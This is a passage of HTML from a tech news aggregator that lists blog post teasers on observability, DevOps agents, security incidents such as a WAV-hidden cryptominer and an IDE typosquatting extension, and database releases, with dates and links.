            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You spent months instrumenting your app with OpenTelemetry. The idea of ripping it out to adopt a new observability backend is not an option. Sentry&#39;s OTLP endp...</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/send-your-existing-opentelemetry-traces/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securely-connect-aws-devops-agent-to-private-services-in-your-vpcs" class="group relative scroll-mt-24">
        <a href="#h3-securely-connect-aws-devops-agent-to-private-services-in-your-vpcs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securely connect AWS DevOps Agent to private services in your VPCs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securely-connect-aws-devops-agent-to-private-services-in-your-vpcs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS DevOps Agent is your always-available operations teammate that resolves and proactively prevents incidents, optimizes application reliability and performance, and handles on-demand SRE tasks acros</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/securely-connect-aws-devops-agent-to-private-services-in-your-vpcs/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-relic-earns-equality-100-award-in-human-rights-campaign-foundations-2026-corporate-equality-index" class="group relative scroll-mt-24">
        <a href="#h3-new-relic-earns-equality-100-award-in-human-rights-campaign-foundations-2026-corporate-equality-index" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Relic Earns Equality 100 Award in Human Rights Campaign Foundation’s 2026 Corporate Equality Index
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-relic-earns-equality-100-award-in-human-rights-campaign-foundations-2026-corporate-equality-index"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic has been awarded a perfect score of 100 for its policies and practices supporting workplace equality for LGBTQ+ employees</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/newrelic-earns-human-rights-campaign-2026corporate-equality-100-award"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-highway-monitoring-with-zabbix-and-nova-rota-oeste" class="group relative scroll-mt-24">
        <a href="#h3-highway-monitoring-with-zabbix-and-nova-rota-oeste" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Highway Monitoring with Zabbix and Nova Rota Oeste
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-highway-monitoring-with-zabbix-and-nova-rota-oeste"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Nova Rota do Oeste (formerly Rota do Oeste) is a Brazilian highway concessionaire founded in 2014, responsible for managing more than 850 kilometers of highway that connects the cities of Sinop (MT), </p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/highway-monitoring-with-zabbix-and-nova-rota-oeste/32810/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-leverage-agentic-ai-for-autonomous-incident-response-with-aws-devops-agent" class="group relative scroll-mt-24">
        <a href="#h3-leverage-agentic-ai-for-autonomous-incident-response-with-aws-devops-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Leverage Agentic AI for Autonomous Incident Response with AWS DevOps Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-leverage-agentic-ai-for-autonomous-incident-response-with-aws-devops-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Teams running distributed workloads face a persistent operational challenge: when something breaks, the information needed to resolve it is scattered across logs, deployment pipelines, co</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/leverage-agentic-ai-for-autonomous-incident-response-with-aws-devops-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-suse-wins-64-g2-badges-in-spring-report" class="group relative scroll-mt-24">
        <a href="#h3-suse-wins-64-g2-badges-in-spring-report" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSE Wins 64 G2 Badges in Spring Report
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-suse-wins-64-g2-badges-in-spring-report"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m delighted to share that G2, the world’s largest and most trusted tech marketplace, has recognized SUSE’s solutions once again. We received 64 badges in its 2026 Spring Report across our portfolio </p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/suse-g2-spring-2026-report-64-badges/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jboss-eap-xp-60-achieving-observability-with-opentelemetry" class="group relative scroll-mt-24">
        <a href="#h3-jboss-eap-xp-60-achieving-observability-with-opentelemetry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 JBoss EAP XP 6.0: Achieving observability with OpenTelemetry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jboss-eap-xp-60-achieving-observability-with-opentelemetry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The recent article JBoss EAP XP 6 is here announced the release of JBoss EAP XP 6.0, which introduced full compliance with MicroProfile 7.0 and a host of new features. Among the most significant updat</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/jboss-eap-xp-60-achieving-observability-opentelemetry"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-finding-performance-bottlenecks-with-pyroscope-and-alloy-an-example-using-ton-blockchain" class="group relative scroll-mt-24">
        <a href="#h3-finding-performance-bottlenecks-with-pyroscope-and-alloy-an-example-using-ton-blockchain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Finding performance bottlenecks with Pyroscope and Alloy: An example using TON blockchain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-finding-performance-bottlenecks-with-pyroscope-and-alloy-an-example-using-ton-blockchain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Performance optimization often feels like searching for a needle in a haystack. You know your code is slow, but where exactly is the bottleneck? This is where continuous profiling comes in. In this bl</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/finding-performance-bottlenecks-with-pyroscope-and-alloy-an-example-using-ton-blockchain/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-bedrock-guardrails-announces-general-availability-of-cross-account-safeguards" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-guardrails-announces-general-availability-of-cross-account-safeguards" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock Guardrails announces general availability of cross-account safeguards
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-guardrails-announces-general-availability-of-cross-account-safeguards"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock Guardrails now enables centralized enforcement of safety controls across all AWS accounts within an organization through cross-account safeguards. Amazon Bedrock Guardrails offers confi</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/bedrock-guardrails-cross-account-safeguards/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-latest-typosquatting-attack-targeting-vs-code-tools-hits-windsurf-ide" class="group relative scroll-mt-24">
        <a href="#h3-latest-typosquatting-attack-targeting-vs-code-tools-hits-windsurf-ide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Latest Typosquatting Attack Targeting VS Code Tools Hits Windsurf IDE
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-latest-typosquatting-attack-targeting-vs-code-tools-hits-windsurf-ide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cybersecurity researchers from Bitdefender, a provider of an endpoint detection and response (EDR) platform, have discovered an extension to the Windsurf integrated development environment (IDE) that </p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/latest-typosquatting-attack-targeting-vs-code-tools-hits-windsurf-ide/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-authentication-vs-authorization-key-differences" class="group relative scroll-mt-24">
        <a href="#h3-authentication-vs-authorization-key-differences" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Authentication vs Authorization: Key Differences
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-authentication-vs-authorization-key-differences"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn the difference between authentication vs authorization, why both matter for app security, and how to protect modern APIs and microservices. | Blog</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/authentication-vs-authorization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-refactoring-at-the-speed-of-mission-an-agent-mesh-approach-to-legacy-system-modernization-with-red-hat-ai" class="group relative scroll-mt-24">
        <a href="#h3-refactoring-at-the-speed-of-mission-an-agent-mesh-approach-to-legacy-system-modernization-with-red-hat-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Refactoring at the speed of mission: An "agent mesh" approach to legacy system modernization with Red Hat AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-refactoring-at-the-speed-of-mission-an-agent-mesh-approach-to-legacy-system-modernization-with-red-hat-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Legacy software doesn&#39;t retire itself. It sits in production, accumulating technical debt, resisting change, and quietly becoming a risk—not because of what it does, but because of what it can no long</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/refactoring-speed-mission-agent-mesh-approach-legacy-system-modernization-red-hat-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-you-patched-litellm-but-do-you-know-your-ai-blast-radius" class="group relative scroll-mt-24">
        <a href="#h3-you-patched-litellm-but-do-you-know-your-ai-blast-radius" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 You Patched LiteLLM, But Do You Know Your AI Blast Radius?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-you-patched-litellm-but-do-you-know-your-ai-blast-radius"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The LiteLLM compromise showed AI risk extends beyond dependencies. Use Evo AI-SPM to map your full AI blast radius, securing connected models, tools, and agent workflows.1</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/litellm-ai-blast-radius/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-the-open-source-supply-chain-across-github" class="group relative scroll-mt-24">
        <a href="#h3-securing-the-open-source-supply-chain-across-github" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing the open source supply chain across GitHub
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-the-open-source-supply-chain-across-github"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recent attacks on open source focus on exfiltrating secrets; here are the prevention steps you can take today, plus a look at the security capabilities GitHub is working on. The post Securing the open</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/security/supply-chain-security/securing-the-open-source-supply-chain-across-github/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-pci-dss-compliant-architectures-on-amazon-eks" class="group relative scroll-mt-24">
        <a href="#h3-building-pci-dss-compliant-architectures-on-amazon-eks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building PCI DSS-Compliant Architectures on Amazon EKS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-pci-dss-compliant-architectures-on-amazon-eks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we explore key considerations, best practices, and architectural decisions hosting applications on EKS in shared tenancy environments while maintaining PCI DSS compliance. Please note th</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/building-pci-dss-compliant-architectures-on-amazon-eks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-emdash-the-spiritual-successor-to-wordpress-that-solves-plugin-security" class="group relative scroll-mt-24">
        <a href="#h3-introducing-emdash-the-spiritual-successor-to-wordpress-that-solves-plugin-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing EmDash — the spiritual successor to WordPress that solves plugin security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-emdash-the-spiritual-successor-to-wordpress-that-solves-plugin-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today we are launching the beta of EmDash, a full-stack serverless JavaScript CMS built on Astro 6.0. It combines the features of a traditional CMS with modern security, running plugins in sandboxed W</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/emdash-wordpress/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-ai-security-with-our-customers-5-lessons-from-evos-design-partner-program" class="group relative scroll-mt-24">
        <a href="#h3-building-ai-security-with-our-customers-5-lessons-from-evos-design-partner-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building AI Security with Our Customers: 5 Lessons from Evo’s Design Partner Program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-ai-security-with-our-customers-5-lessons-from-evos-design-partner-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn 5 key lessons from Snyk’s Evo design partner program. Discover how AI discovery, risk intelligence, and policy automation help teams secure generative AI and govern AI sprawl at scale.</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/building-ai-security-with-our-customers/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-sagemaker-data-agent-introduces-charting-capabilities-and-support-for-materialized-views" class="group relative scroll-mt-24">
        <a href="#h3-amazon-sagemaker-data-agent-introduces-charting-capabilities-and-support-for-materialized-views" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon SageMaker Data Agent introduces charting capabilities and support for materialized views
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-sagemaker-data-agent-introduces-charting-capabilities-and-support-for-materialized-views"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon SageMaker Data Agent now supports interactive charting, SQL analytics on Snowflake data sources, and materialized view management in Amazon SageMaker Unified Studio notebooks. Data Agent now pr</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-sgmkr-dataagent-chart-mv/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_textsearch-v10" class="group relative scroll-mt-24">
        <a href="#h3-pg_textsearch-v10" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_textsearch v1.0
        </a>
        <button 
